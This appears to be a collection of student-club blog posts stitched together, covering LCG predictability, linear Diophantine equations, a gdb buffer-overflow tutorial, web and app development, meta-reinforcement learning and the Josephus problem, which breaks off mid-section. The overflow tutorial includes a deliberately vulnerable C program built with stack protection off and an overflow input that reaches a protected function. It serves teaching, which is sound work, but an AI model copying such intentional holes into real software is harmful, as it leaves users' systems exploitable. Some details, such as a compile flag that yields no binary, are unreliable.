    #include <stdlib.h>
  
    int seed = 11;
    int a = 3;
    int c = 13;
    const int m = 67;
  
    int LCG_next_number(int current_number){
        int next_number = (a*current_number + c)%m;
        return next_number;
    }
  
    int frequency[m];
  
    int main() 
    {
        int current_number = seed;
        int length = 1000;
        for (int i = 0; i < length; i++)
        {
            frequency[current_number]++;
            int next_number = LCG_next_number(current_number);
            current_number = next_number;
        }
        for (int i = 0; i < m; i++)
        {
            printf("%d, ", frequency[i]);
        }
        printf("\n");
        return 0;
    }
  

  We get:

  0, 0, 0, 0, 46, 0, 0, 0, 45, 46, 45, 46, 0, 0, 45, 0, 0, 46, 0, 0, 0, 46, 0, 0, 0, 46, 0, 0, 0, 45, 0, 0, 0, 45, 0, 0, 0, 45, 0, 0, 46, 0, 0, 45, 45, 45, 46, 0, 0, 0, 45, 0, 0, 0, 0, 45, 0, 45, 0, 0, 0, 0, 0, 0, 46, 0, 46

  We notice a bunch of zeros which means in the first 1000 numbers we never get those numbers. The frequency count of these numbers will always be zero since the sequence in periodic in nature. Ideally, the frequency distribution should look something like this:

  11, 18, 11, 15, 16, 18, 20, 16, 10, 11, 15, 17, 11, 15, 12, 16, 14, 17, 19, 21, 18, 10, 17, 10, 13, 11, 11, 14, 19, 23, 14, 17, 11, 13, 12, 14, 16, 7, 11, 13, 17, 18, 14, 13, 4, 16, 15, 16, 12, 16, 18, 17, 12, 13, 20, 19, 20, 15, 18, 16, 15, 13, 24, 13, 19, 12, 18

  Each number should have a frequency count of around 1000/67 ≈ 15 since each number has an equal likelihood of being chosen.

Predictable:

If we have the parameters a, c and m, we can predict the next number. But what if we know m, and 3 consecutive terms of the sequence? We can solve for the parameters a and c in this case. Consider the sequence discussed above:

Assume we have the first 3 terms: 11, 46 and 17 and m = 67 . Thus:

$$46 = (11a + c)\mod 67$$

$$17 = (46a + c) \mod 67$$

Let’s forget about modulo operation for some time. This would change our equations to linear equation in 2 variables. Solving them we get:

$$a = \frac{-29}{35} \text{ and } c = \frac{1929}{35}$$

Now bringing in the modulo part by taking the modular inverse of denominator:

$$a = -29 \times 35^{-1} \mod 67 = 3$$

$$c = 1929 \times 35^{-1} \mod 67 = 13$$

Upon solving we get a = 3 and c = 13 which are precisely the parameters we chose to begin with. Python code for the same:

def lcg_solver(x_1, x_2, x_3, m):
    n1 = x_2 - x_3
    d1 = x_1-x_2
    a = n1*pow(d1, -1, m)
    a = a%m
    c = x_2 - x_1*a
    c = c%m
    return a, c

if __name__ == "__main__":
    x_1 = 11
    x_2 = 46
    x_3 = 17
    m = 67
    a, c = lcg_solver(x_1, x_2, x_3, m)
    print("a = {}\nc = {}\n".format(a, c))

Thus LCG is not a good PRNG. C uses LCG to as it’s random number generator. At the start of the article we saw we always got the same number generated. This is because C sets the seed to 1 by default if not initialized. You can use srand(time(0)) to get a random seed. But be careful since this may too give predictable results. In Python, we can use the Crypto.Random package to generate cryptographically secure random numbers. Mersenne Twister is a good choice for PRNG as it has an extremely long period and produces good random numbers. It works by maintaining an internal state that consists of 624 32-bit integers (19,937 bits total). These values are updated through a series of bitwise operations and modular arithmetic to produce the next random number in the sequence.

True Random Number Generator

A true random number generator (TRNG) uses a nondeterministic source to make randomness. It relies on capturing random events from physical processes that are fundamentally unpredictable such as thermal noise, human input like keystrokes or mouse movements, atmospheric noise, etc. These are suitable for cryptographic use as the entropy in these numbers is high.

In mathematics, a Diophantine equation is an equation, typically a polynomial equation in two or more unknowns with integer coefficients, for which only integer solutions are of interest. A linear Diophantine equation equates to a constant the sum of two or more monomials, each of degree one. An exponential Diophantine equation is one in which unknowns can appear in exponents.

Diophantine problems have fewer equations than unknowns and involve finding integers that solve simultaneously all equations. As such sytems of equations define algebraic curves, algebraic surfaces, or, more generally, algebraic sets, their study is a part of algebraic geometry that is called Diophantine Geometry.

Linear Diophantine Equations:

In this blog, we will primarily concentrate on Linear Diophantine Equations.

The Equation:

$$\sum_{n=1}^{n} a_ix_i = N$$

$$\text{Here}\ a_i's\text{ and } N \text{ are known integers while } x_i’s \text{ are the unknown integer}$$

The simplest linear Diophantine equation which is also known as Bezout’s identity takes the form:

$$ax +by=c$$

where a,b,c are given integers and x,y are unknown integers. The solutions are described by the following theorems:

This Diophantine equation has a solution (where x and y are integers) if and only if c is a multiple of the greatest common divisor (GCD) of a and b. Additionally, if (x, y) is one solution, then all other solutions can be written as (x + kv, y − ku), where k is any integer, and u and v are the results of dividing a and b by their GCD, respectively.

$$u = \frac{a}{\gcd(a,b)} \quad \text{and} \quad v = \frac{b}{\gcd(a,b)}$$

Proof:
If d is the greatest common divisor of a and b, Bézout's identity tells us that there are integers e and f such that ae + bf = d. If c is a multiple of d, then we can express c as dh for some integer h, and the pair (eh, fh) will be a solution to the equation. Additionally, for any integers x and y, the GCD(d) of a and b will divide the expression ax + by. Therefore, if the equation has a solution, c must be a multiple of d (i.e, d must divide c). If we express a as ud and b as vd, then for any solution (x, y), we have,

$$a(x + kv) + b(y - ku) = ax + by + k(av - bu) = ax + by + k(udv - vdu) = ax + by$$

this shows that if (x , y) are the solutions of the equation then , (x + kv, y - ku) is another solution . Finally, given two solutions such that

$$ax_1 + by_1 = ax_2 + by_2 = c$$

one deduces that,

$$u(x_2 - x_1) + v(y_2 - y_1) = 0$$

As u and v are coprime, Euclid's lemma shows that v divides x2 − x1, and thus that there exists an integer k such that both.

$$x_2 - x_1 = kv, \quad y_2 - y_1 = -ku$$

Therefore,

$$x_2 = x_1 + kv, \quad y_2 = y_1 - ku$$

which completes the required proof.

Analytic Solution:

When   a≠0  and   b≠0,  can be equivalently treated as either of the following:

$$ax \equiv c \, (\text{mod} \, b)$$

$$by \equiv c \, (\text{mod} \, a)$$

This can be written by taking mod with b and then a on both sides of equation respectively.

Without loss of generality, assume that   b≠0  and consider the first equation. When   a and   b  are co-prime, the solution to it is given as

$$x \equiv c a^{-1} \, (\text{mod} \, b)$$

$$\text{where }a^{-1}\text{ is the modular inverse of a modulo b}$$

When   a  and   b are not co-prime, values of   ax modulo   b  for all integer   x  are divisible by   g=gcd(a,b) , so the solution only exists when   c  is divisible by   g . In this case, one of solutions can be found by reducing the equation by   g:

$$\frac{a}{g} x \equiv \frac{c}{g} \, (\text{mod} \, \frac{b}{g})$$

$$\text{Here }\frac{a}{g} = u \text{ , } \frac{b}{g} = v .$$

By the definition of   g , the numbers   a/g  and   b/g  are co-prime, so the solution is given explicitly as

$$\begin{cases} x \equiv \left(\frac{c}{g}\right) \left(\frac{a}{g}\right)^{-1} \, (\text{mod} \, \frac{b}{g}) \\ y = \frac{c-ax}{b}\end{cases}$$

Algorithmic solution:

To find one solution of the Diophantine equation with 2 unknowns, you can use the Extended Euclidean algorithm . First assume that a and   b are non-negative. When we apply Extended Euclidean algorithm for   a  and   b, we can find their greatest common divisor   g and 2 numbers   xg  and   yg such that:

$$a \cdot xg + b \cdot yg = g$$

If   c is divisible by   g=gcd(a,b) , then the given Diophantine equation has a solution, otherwise it does not have any solution. The proof is straight-forward: a linear combination of two numbers is divisible by their common divisor.

Now supposed that   c  is divisible by   g , then we have:

$$a \cdot xg \cdot \left(\frac{c}{g}\right) + b \cdot yg \cdot \left(\frac{c}{g}\right) = c$$

Therefore one of the solutions of the Diophantine equation is:

$$x_0 = xg \cdot \left(\frac{c}{g}\right)$$

$$y_0 = yg \cdot \left(\frac{c}{g}\right)$$

The above idea still works when   a or   b  or both of them are negative. We only need to change the sign of   xo and   yo  when necessary.

Finally, we can implement this idea as follows (note that this code does not consider the case a = b = 0) :

#include<bits/stdc++.h>
using namespace std;
int gcd(int a, int b, int& x, int& y) {
    if (b == 0) {
        x = 1;
        y = 0;
        return a;
    }
    int x1, y1;
    int d = gcd(b, a % b, x1, y1);
    x = y1;
    y = x1 - y1 * (a / b);
    return d;
}

bool find_any_solution(int a, int b, int c, int &x0, int &y0, int &g) {
    g = gcd(abs(a), abs(b), x0, y0);
    if (c % g) {
        return false;
    }

    x0 *= c / g;
    y0 *= c / g;
    if (a < 0) x0 = -x0;
    if (b < 0) y0 = -y0;
    return true;
}

Getting all solutions:

From one solution ( xo , yo ) , we can obtain all the solutions of the given equation.

Let g = gcd(a,b) and let xo , yo be integers which satisfy the following:

$$a \cdot x_0 + b \cdot y_0 = c$$

Now, we should see that adding   b/g  to   xo, and, at the same time subtracting   a/g  from   yo will not break the equality:

$$a \cdot (x_0 + bg) + b \cdot (y_0 - ag) = a \cdot x_0 + b \cdot y_0 + a \cdot bg - b \cdot ag = c$$

Obviously, this process can be repeated again, so all the numbers of the form:

$$\begin{align*} x & = x_0 + k \cdot \left(\frac{b}{g}\right) \\ y & = y_0 - k \cdot \left(\frac{a}{g}\right) \end{align*}$$

are solutions of the given Diophantine Equation.

Moreover, this is the set of all possible solutions of the given Diophantine equation.

Problem :

Statement : Dante is engaged in a fight with "The Savior". Before he can fight it with his sword, he needs to break its shields. He has two guns, Ebony and Ivory, each of them is able to perform any non-negative number of shots.

For every bullet that hits the shield, Ebony deals a units of damage while Ivory deals b units of damage. In order to break the shield Dante has to deal exactly c units of damage. Find out if this is possible.

Take a,b,c as input from the user representing the number of units of damage dealt by Ebony gun and Ivory gun, and the total number of damage required to break the shield, respectively.

Your task is to print "Yes" (without quotes) if Dante can deal exactly c damage to the shield and "No" (without quotes) otherwise.

Solution :

#include<bits/stdc++.h>
using namespace std;
//Function to implement Extended Euclid's algorithm
int extended_euclidean(int a, int b, int &x, int &y)
{
    if (b == 0)
    {
        x = 1;
        y = 0;
        return a;
    }
    int x1, y1;
    int d = extended_euclidean(b, a % b, x1, y1);
    x = y1;
    y = x1 - y1 * (a / b);
    return d;
}
//Function to calculate modulo inverse of a with respect to m
int modulo_inverse(int a, int m)
{
    int x, y;
    int g = extended_euclidean(a, m, x, y);
    if (g != 1)
    {
        return -1;
    }
    else
    {
        x = (x % m + m) % m;
        return x;
    }
}
int main(){
    int a,b,c;
    cin >> a >> b >> c;
    int g = __gcd(a,b); // In built functiom to calculate gcd of two integers
    if(c%g!=0){
        cout << "NO" << endl;
    }
    else{
        //We also need to check if there is a set (x,y) such that x>=0 and y>=0
        int x = (c/g) * modulo_inverse((a/g),(b/g));
        int y = (c - a*x)/b;
        bool solution_exists = false;
        if(x>=0 && y>=0){
            solution_exists = true;
        }
        else{
            if(x<0 && y>=0){
                int x1 = (b/g) * (y/(a/g)) + x;
                if(x1>=0){
                    solution_exists = true;
                }
            }
            if(y<0 && x>=0){
                int y1 = (a/g) * (x/(b/g)) + y;
                if(y1>=0){
                    solution_exists = true;
                }
            }
        }
        if(solution_exists==true){
            cout << "Yes" << endl;
        }
        else{
            cout << "No" << endl;
        }
    }
}

In this article, we will dive into the binary and see what’s going on; for that, we need a debugger. What is a debugger? Well, a debugger is a tool that allows developers to test, inspect, and troubleshoot their code by executing it step-by-step, setting breakpoints, and examining variables and program flow. We are going to use gdb as our debugger in this article.

Installation

For Linux

run (for debian and derivatives) sudo apt install gdb

For macOS

run brew install gdb

For windows

Don’t install it on windows just use linux. Just kidding for windows use this steps

1. Download the MinGW installer from https://sourceforge.net/projects/mingw/

2. Run the installer and select "GDB" during the installation process.

3. After installation, add the MinGW bin directory to your system's PATH.

Use terminal based on your OS and run this command to check your gdb installation

gdb --version

Buffer Overflow

To use gdb, we first need a binary to run. Let's try the following example:

// gcc -m32 -fno-stack-protector -z execstack -fsyntax-only -o vuln vuln.c

#include <stdio.h>
#include <string.h> 

const char MYPASS[] = "REDATED";

void win() {
    puts("This code is super secure, isn't it? :)");
}

void vuln() {
    char buffer[32];
    int password = 0;
    fgets(buffer, 0x32, stdin);
    if (strcmp(buffer, MYPASS) == 0) {
        password = 1;
    }

    if (password) {
        win();
    } else {
        puts("Incorrect password!");
    }
}

int main() {
    puts("Hello to our new bank!");

    vuln();

    return 0;
}

Save this file as vuln.c, then compile it using the following command in the same directory as vuln.c:

gcc -m32 -fno-stack-protector -z execstack -fsyntax-only -o vuln vuln.c

Now you have a binary named vuln. The password is unknown, but we can try to reach the win() function through buffer overflow manipulation. Let’s experiment and see what happens when we run the binary.

> ./vuln
Hello to our new bank!
tellmethepassword
Incorrect password!

In this code, the developer made a mistake in the fgets call by reading 50 bytes (0x32) instead of limiting it to 32 bytes. can we abuse this ??

Let’s try to adding input bigger that 32 and see what’s happening

> ./vuln
Hello to our new bank!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This code is super secure, isn't it? :)
Segmentation fault (core dumped)

😯 we just got in the win functions but there is Segmentation fault ?? Let’s dive into gdb and see what’s going on.

gdb

First, run this binary using GDB by executing:

gdb ./vuln

GDB comes with many powerful features. We can set breakpoints using GDB, and we can even see the assembly code of the binary. Let’s try to see the code of the main function in GDB. Run the following command:

gdb➤ disass main

You will see the output for the main function, where you can observe the esp, ebp, ebx, and ecx registers explained in the previous article. Here, we can see the call instructions for puts and vuln:

   0x0804924f <+37>:    call   0x8049060 <puts@plt>
   0x08049254 <+42>:    add    esp,0x10
   0x08049257 <+45>:    call   0x80491b1 <vuln>

Now let’s take a look at the vuln function inside GDB by running:

gdb➤ disass vuln

You may get output like this,

   0x080491b1 <+0>:    push   ebp
   0x080491b2 <+1>:    mov    ebp,esp
   0x080491b4 <+3>:    push   ebx
   0x080491b5 <+4>:    sub    esp,0x34
   0x080491b8 <+7>:    call   0x80490c0 <__x86.get_pc_thunk.bx>
   0x080491bd <+12>:    add    ebx,0x2e37
   0x080491c3 <+18>:    mov    DWORD PTR [ebp-0xc],0x0
   0x080491ca <+25>:    mov    eax,DWORD PTR [ebx-0x8]
   0x080491d0 <+31>:    mov    eax,DWORD PTR [eax]
   0x080491d2 <+33>:    sub    esp,0x4
   0x080491d5 <+36>:    push   eax
   0x080491d6 <+37>:    push   0x32
   0x080491d8 <+39>:    lea    eax,[ebp-0x2c]
   0x080491db <+42>:    push   eax
   0x080491dc <+43>:    call   0x8049050 <fgets@plt>
   0x080491e1 <+48>:    add    esp,0x10
   0x080491e4 <+51>:    sub    esp,0x8
   0x080491e7 <+54>:    lea    eax,[ebx-0x1fd4]
   0x080491ed <+60>:    push   eax
   0x080491ee <+61>:    lea    eax,[ebp-0x2c]
   0x080491f1 <+64>:    push   eax
   0x080491f2 <+65>:    call   0x8049030 <strcmp@plt>
   0x080491f7 <+70>:    add    esp,0x10
   0x080491fa <+73>:    test   eax,eax
   0x080491fc <+75>:    jne    0x8049205 <vuln+84>
   0x080491fe <+77>:    mov    DWORD PTR [ebp-0xc],0x1
   0x08049205 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x08049209 <+88>:    je     0x8049212 <vuln+97>
   0x0804920b <+90>:    call   0x8049186 <win>
   0x08049210 <+95>:    jmp    0x8049224 <vuln+115>
   0x08049212 <+97>:    sub    esp,0xc
   0x08049215 <+100>:    lea    eax,[ebx-0x1f88]
   0x0804921b <+106>:    push   eax
   0x0804921c <+107>:    call   0x8049060 <puts@plt>
   0x08049221 <+112>:    add    esp,0x10
   0x08049224 <+115>:    nop
   0x08049225 <+116>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08049228 <+119>:    leave
   0x08049229 <+120>:    ret

Here we can see the calls to fgets, strcmp, win, and puts. By analyzing the source code, we know that before jumping to the win function, it will check the password in the if condition. Similarly, in this assembly code, we can see the cmp instruction, which compares DWORD PTR [ebp-0xc] with 0x0. Let’s set a breakpoint there and see what’s going on. In GDB, we can set a breakpoint using b or break followed by the address where we want to stop.

gdb➤ b *0x08049205

Alternatively, we can use a relative address, like so:

gdb➤ b *(vuln+84)

Both methods work the same way; you can use either. Now let’s run this binary using the command:

gdb➤ run

The program will wait for input. Let’s try IAmMrRobot as the password. After entering the password, the program will hit the breakpoint. We can now check where we are by using the command:

gdb➤ disass $eip

In 32-bit architecture, $eip always points to the instruction that is about to be executed, and the $ signifies that we are referencing the value of eip.

The output of disass $eip will look like this:

   0x080491b1 <+0>:    push   ebp
   0x080491b2 <+1>:    mov    ebp,esp
   0x080491b4 <+3>:    push   ebx
   0x080491b5 <+4>:    sub    esp,0x34
   0x080491b8 <+7>:    call   0x80490c0 <__x86.get_pc_thunk.bx>
   0x080491bd <+12>:    add    ebx,0x2e37
   0x080491c3 <+18>:    mov    DWORD PTR [ebp-0xc],0x0
   0x080491ca <+25>:    mov    eax,DWORD PTR [ebx-0x8]
   0x080491d0 <+31>:    mov    eax,DWORD PTR [eax]
   0x080491d2 <+33>:    sub    esp,0x4
   0x080491d5 <+36>:    push   eax
   0x080491d6 <+37>:    push   0x32
   0x080491d8 <+39>:    lea    eax,[ebp-0x2c]
   0x080491db <+42>:    push   eax
   0x080491dc <+43>:    call   0x8049050 <fgets@plt>
   0x080491e1 <+48>:    add    esp,0x10
   0x080491e4 <+51>:    sub    esp,0x8
   0x080491e7 <+54>:    lea    eax,[ebx-0x1fd4]
   0x080491ed <+60>:    push   eax
   0x080491ee <+61>:    lea    eax,[ebp-0x2c]
   0x080491f1 <+64>:    push   eax
   0x080491f2 <+65>:    call   0x8049030 <strcmp@plt>
   0x080491f7 <+70>:    add    esp,0x10
   0x080491fa <+73>:    test   eax,eax
   0x080491fc <+75>:    jne    0x8049205 <vuln+84>
   0x080491fe <+77>:    mov    DWORD PTR [ebp-0xc],0x1
=> 0x08049205 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x08049209 <+88>:    je     0x8049212 <vuln+97>
   0x0804920b <+90>:    call   0x8049186 <win>
   0x08049210 <+95>:    jmp    0x8049224 <vuln+115>
   0x08049212 <+97>:    sub    esp,0xc
   0x08049215 <+100>:    lea    eax,[ebx-0x1f88]
   0x0804921b <+106>:    push   eax
   0x0804921c <+107>:    call   0x8049060 <puts@plt>
   0x08049221 <+112>:    add    esp,0x10
   0x08049224 <+115>:    nop
   0x08049225 <+116>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08049228 <+119>:    leave
   0x08049229 <+120>:    ret

It points to the location where we want to stop. Now, let’s see what the value of ebp-0xc is using this command:

gdb➤ x/x $ebp-0xc
0xffffd6fc:    0x0804a08000000000

Here, the first x is the command in GDB used to examine memory at a given address. The /x specifies the format, telling GDB to output in hexadecimal format. The value of DWORD PTR [ebp-0xc] will only look at the lower 32 bits, resulting in 0x00000000, which is the value of the password variable

Now, let’s rerun the binary with the r command, but this time with a larger input of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, and see the value of ebp-0xc:

gdb➤  x/x $ebp-0xc
0xffffd6fc:    0x4141414141414141

🤯 We have overwritten the value of password with 0x4141414141414141, which is the hexadecimal value of AAAAAAAA. This is due to the buffer overflow in the buffer. The buffer variable is set to be 32 bytes, but we tried to write 50 bytes using fgets, so we overwrite the extra bytes on the stack where other variables are stored. Hence, this leads to a stack buffer overflow.

So you remember the segmentation fault , you can try to find out what causes the segmentation fault. if you get that you can also understand the payload given in previous article.

Ready to dive into something extraordinary?

Check out this mind-blowing website: https://bruno-simon.com/.

Isn’t it amazing? Ever wondered how such interactive and visually stunning sites come to life?

If you're itching to create your own digital magic, you're in the right place

The tech world is rapidly evolving, with web development and app development becoming key areas of innovation and growth. This blog will provide a detailed summary of both web and app development, their differences, and how to get started.

Web Development: Building the Internet’s Backbone

Web development involves the creation of websites and web applications that run on browsers, enabling users to access content…….blah blah blah blah,

Website’s not only about showing data and making dashboards it also has many interesting applications like building beautiful illustrations or drawings.

Try visiting https://cops-website-inspiration.netlify.app/cops_inspiration built by one of our members....see the particle effect on the page, well that’s made entirely from scratch hsing html, css and javascript. You can see the code here - https://github.com/Varun-Kolanu/Cops_Website_inspiratio

The world of Wev Dev has endless possibilities, it’s only on you to decide ;)

Key Areas of Web Development:

1. Frontend Development: It is the only side of the application the user can interact with and request the backend for certain responses.

• Languages: HTML, CSS, JavaScript

• Purpose: Everything the user interacts with directly, including the layout, design, and interactive elements.

Tools and Frameworks:

• CSS Frameworks: Bootstrap, Tailwind CSS

• JavaScript Frameworks/Libraries: React, Angular, Vue.js

• Responsive Design: Media queries, Flexbox, Grid layout ensure websites look great on different screen sizes (mobile, tablet, desktop).

2. **Backend Development(Server-side):**It is the complete logic and storage side of the application which handles business logic, server requests and Manages database operations.

Languages: JavaScript (Node.js), Python (Django, Flask), Ruby (Rails), PHP, Java (Spring), Go

Key Concepts:

• APIs: Application Programming Interfaces allow frontend applications to interact with backend services or databases.

• Databases: MySQL, PostgreSQL (relational), MongoDB, Firebase (NoSQL).

• Authentication and Security: Secure sessions, OAuth, JWT, and encryption techniques.

3. Full-stack Development:

• Combines both frontend and backend development.

• Popular stacks include MERN (MongoDB, Express.js, React, Node.js), LAMP (Linux, Apache, MySQL, PHP), MEAN(MongoDB, Express.js, Angular, Node.js).....etc.

4. Version Control:

• Tools like Git and platforms like GitHub or GitLab allow developers to manage changes in code efficiently, especially in team environments.

Editor’s note: For a deeper dive in version control systems read the git/github workshop pdf.

App Development: Creating Mobile Experiences

App development refers to the creation of software applications designed for mobile devices (smartphones, tablets) or desktop systems. These apps run natively on the device and are generally accessed through app stores like Google Play or the Apple App Store.

Types of Mobile App Development:

1. Native App Development:

Languages:

• **iOS:**Swift, Objective-C

• Android: Kotlin, Java

• Purpose: Native apps are built specifically for a particular platform, providing the best performance and access to device-specific features (e.g., camera, GPS, sensors).

Development Tool:

• iOS: Xcode, Swift Playgrounds

• Android: Android Studio

• Pros: High performance, better user experience, and access to hardware features.

• Cons: Requires separate codebases for iOS and Android, which increases development time and cost.

2. Cross-Platform Development:

Languages/Frameworks:

• React Native: Uses JavaScript to create native apps for both iOS and Android.

• Flutter: Google's UI toolkit that uses the Dart language to build natively compiled applications for mobile and web.

• Xamarin: A Microsoft framework for building Android, iOS, and Windows apps with C#.

• Purpose: Write one codebase and deploy it across multiple platforms.

• Pros: Faster development cycle, cost-effective, single codebase for all platforms.

• Cons: May not achieve the same performance and native look-and-feel as fully native apps.

3. Hybrid App Development:

Languages/Frameworks: Ionic, Cordova (using HTML, CSS, JavaScript)

• Purpose: Hybrid apps are web apps that run in a web view but appear like native apps.

• Pros: Rapid development, cost-effective.

• Cons: Performance may be slower than native apps, limited access to device capabilities.

App Development Lifecycle:

1. Conceptualization: Define the purpose, target audience, and features of the app.

2. Wireframing and Design: Create visual prototypes and user interfaces.

3. Development: Write the code using the chosen platform and framework.

4. Testing: Thoroughly test for bugs, usability, and device compatibility.

5. Deployment: Submit the app to app stores for review and release.

6. Maintenance: Continuously update the app for new features, OS compatibility, and bug fixes.

Key Differences Between Web and App Development

How to Get Started:

P.S: Look at the end we have added some resources for you👾.

Web Development:

• Learn the basics: Start with HTML, CSS, and JavaScript.

• Move to frameworks: Learn frontend frameworks like React or Vue and backend technologies like Node.js or Django.

• Projects: Build your portfolio by developing responsive websites or small web apps.

• Version Control: Get comfortable with Git and collaborative platforms like GitHub.

App Development:

• Choose a platform: Decide whether you want to focus on iOS, Android, or cross-platform development.

• Learn the relevant languages: Swift for iOS, Kotlin for Android, or frameworks like React Native for cross-platform.

• Build projects: Create basic apps to understand mobile architecture, such as a to-do list or weather app.

• Publish an app: Get experience by deploying an app to the Google Play Store or Apple App Store.

Resources:

Web dev:

https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab

App dev:

https://sagittariusa11.notion.site/CSOC-23-App-Dev-b874014ac84247bd932e815bc04cf65a

Version control:

https://cops-sdg.notion.site/CSOC-23-Web-b73ab317d53744f8b00b21887c4ae1ab?p=80cfd3b94482486ea9f81446432a48c8&pm=c

Meta Learning →

Consider a scenario where a device is built to monitor user’s health details like heart rate, sleep patterns etc and based on that the device is supposed to give personalised recommendation.

But the challenge here is that every user is different in terms of lifestyle, genetics and therefore one model would fail to give correct recommendations to such diverse group of users. Meta learning can solve this problem. In meta learning model is trained to rapidly adapt to new tasks using only a small amount of data.

Meta Reinforcement Learning extends the concepts of meta learning to reinforcement learning and hence solves various problems.

In Reinforcement Learning the goal is to maximise the final rewards for a fixed task using trial and error. There is an environment in which an agent interacts and get reward . Now lets say for the same agent in the same environment a different reward function hence it is a completely different task. For this with standard RL approach it requires retraining from scratch again.

With Meta reinforcement learning agents are able to adapt quickly to new tasks after training of range of tasks

How it is different from Reinforcement learning →

1. In meta-RL the goal is to learn a generalisable learning strategy to quickly adapt to new actions, i.e develop a learning algorithm that helps it learn new tasks while RL is just to maximise the cumulative reward for one particular task

2. In reinforcement learning agent needs large amount of data(interactions) for each task but meta RL is trained in such a way that with small adaption during the meta testing phase the agent learn quickly with very less data.

3. The techniques used for training is different in both of them, meta rl more focussed on generalisation while RL for specific tasks.

Use cases of meta reinforcement learning →

1. A robotic arm trained with meta RL can adapt to handle objects of various shapes, weight without retraining and just adaption for each kind of task.

2. Self driving cars need to operate in very different environments sometimes there meta rl may help as the vehicle can adapt to new conditions based on previous experiences rather than training for each possible scenario like wind, fog etc.

3. As discussed meta RL can help in making a model for personalised recommendations in healthcare.

4. Let’s say we are training a robotic chef, so now we need to explore and understand the kitchen environment but all the kitchens have different interior, different location of appliances with different control systems. Here the robotic chef needs to be trained using meta RL where each kitchen represents a task and after training on several kitchens the chef would have a high level understanding to how to navigate a completely new kitchen with only a little exploration.

5. Meta RL is also helpful when the task such as text generation, summarisation where for different languages training again is not effective rather use meta RL to adapt to the previous tasks.

and many more ….

One source of slowness in RL training is weak inductive bias ( = “a set of assumptions that the learner uses to predict outputs given inputs that it has not encountered”). As a general ML rule, a learning algorithm with weak inductive bias will be able to master a wider range of variance, but usually, will be less sample-efficient. Therefore, to narrow down the hypotheses with stronger inductive biases help improve the learning speed.In meta-RL, we impose certain types of inductive biases from the task distribution and store them in memory. Which inductive bias to adopt at test time depends on the algorithm.

HOW DOES IT WORK →

In RL we consider a Markov Decision Process (MDP) M = (S,A,T,R) where S denotes state space, A denotes the action space, T is transition distribution and R being the reward function, now in meta RL we have a distribution of similar MDP’s with the same state space and action space but different transition distribution and reward functions which corresponds to distribution of tasks so each MDP Mi is (S, A, Ti, Ri).

In the above image the outer loop samples a new environment in every iteration and updates the parameters that defines the agents behaviour and the inner loop interacts with the environment for maximum reward.

We know that one single policy cannot solve all the tasks therefore we need a algorithm to quickly compute an optimal policy for the new task. There is a common structure to all the meta RL algorithms for doing so :

Meta training - The goal is to learn an algorithm

Meta testing - The goal is to apply that algorithm to obtain a good policy for the current task

Now we will see gradient methods for meta RL - MAML or Model Agnostic Meta Learning which can solve almost any dense environment

MAML →

We already know there are going to be 2 parts the meta training and the meta testing phase.

Before looking at the training phase let’s see what do we expect at the testing phase

Meta Testing -

Basically during the meta testing phase we need a pre-trained parameter ϴ from which we can perform efficient adaption and for a new task the new parameter ϴ’ obtained from the gradient descent should achieve good performance at the task

Every task Ti has an optimal parameter ϴi* and for every task the adaption along delta Li provides a parameter ϴi’ = ϴ - alpha** delta Li\* that should be close to ϴi

Meta training -

Notation →

1. ϴ - model parameters,

2. p(T) - distribution of the tasks each task Ti is sampled from p(T),

3. Li(ϴ) is the loss function for Ti here it is negative of the reward,

4. α, β are the learning rates for inner and outer loop respectively

The meta-training algorithm is divided into two parts:

• Firstly, for a given set of tasks, we sample multiple trajectories using θ and update the parameter using one (or multiple) gradient step(s) of the policy gradient objective. This is called the inner loop.

• Second, for the same tasks, we sample multiple trajectories from the updated parameters θ’ and backpropagate to θ the gradient of the policy objective. This is called the outer loop.

In the inner loop, for each task Ti loss is minimised using gradient descent to adapt the model parameter ϴ to that specific task

ϴi’ = ϴ - α * delta ϴ Li(ϴ).

delta ϴ Li(ϴ) shows the gradient of the loss function for that task Ti.

Let’s define a term meta loss as the loss of the adapted paramenters ϴi’ evaluated on the same task Ti

Meta loss is defined as ∑ ​Li​(θi′​) for each Ti in p(T) or ∑ Li * ​(θ−α ∇θ​Li​(θ)) for each Ti in p(T)

The objective is to minimise this loss function on ϴ for that to apply gradient descent we need gradient of the meta loss with respect to initial parameters.

After calculations the gradient of meta loss reduces to

for all Ti in p(T)

Here I shows identity matrix and the second term is hessian matrix.

Next step is to update the parameter ϴ and set it to ϴ - β * (the gradient above)

This is done for all the tasks in p(T) and hence we achieve at parameters ϴ which are most appropriate for adapting to new tasks.

Below is a simulation of meta training phase where

the first term (I - hessian matrix) is Ai and the second term is gi

If we omit the second order derivative term and assume A = I that is called as First Order - MAML or FOMAL and might be useful when the dimensions are very large and second order derivatives are expensive to compute.

Other algorithms →

There are several other meta RL models and algorithms apart from MAML of which some of them are listed and have different approaches for different kind of problems but discussing each of them is out of the scope of this blog.

1. Optimisation based models :

   a) MAML - learn a policy that can be fine tuned using gradient descent.

   b) ProMP - probabilistic extension of MAML

Memory based models :

a) RL^2 - uses RNN in form of lstm to implictly store task information and adapt.

b) SNAIL - Combines temporal convolutions and attention for memory-based adaptation.

1. Probabilistic models :

   a) PEARL - Learns latent embeddings of tasks using probabilistic inference.

   b) VariBAD - Bayesian inference to handle task uncertainty and adaptive learning.

   c) MetaGenRL - Uses generative models (e.g., VAEs) to capture task distributions.

If you want to dig deep into this field of meta reinforcement learning refer https://sites.google.com/view/meta-rl-tutorial-2023/home .

Historical Background

The Josephus problem originated during the Jewish-Roman War, where Josephus and his companions, facing capture, agreed to eliminate themselves in a specific order. Josephus, who didn’t want to die, positioned himself strategically to be the last survivor, thus giving birth to the puzzle we now study.

Problem Statement

The Josephus problem asks:

• Given n people standing in a circle and eliminating every k-th person, determine the position of the last remaining survivor.

For example, with n = 7 and k = 3, the sequence of eliminations is: 3, 6, 2, 7, 5, 1. The last remaining person is at position 4.

Visualization

To better understand the Josephus problem, visualizations can help. Imagine a group of people in a circle with eliminations occurring step by step. An interactive animation or flowchart of this process clarifies how the recursive elimination unfolds.

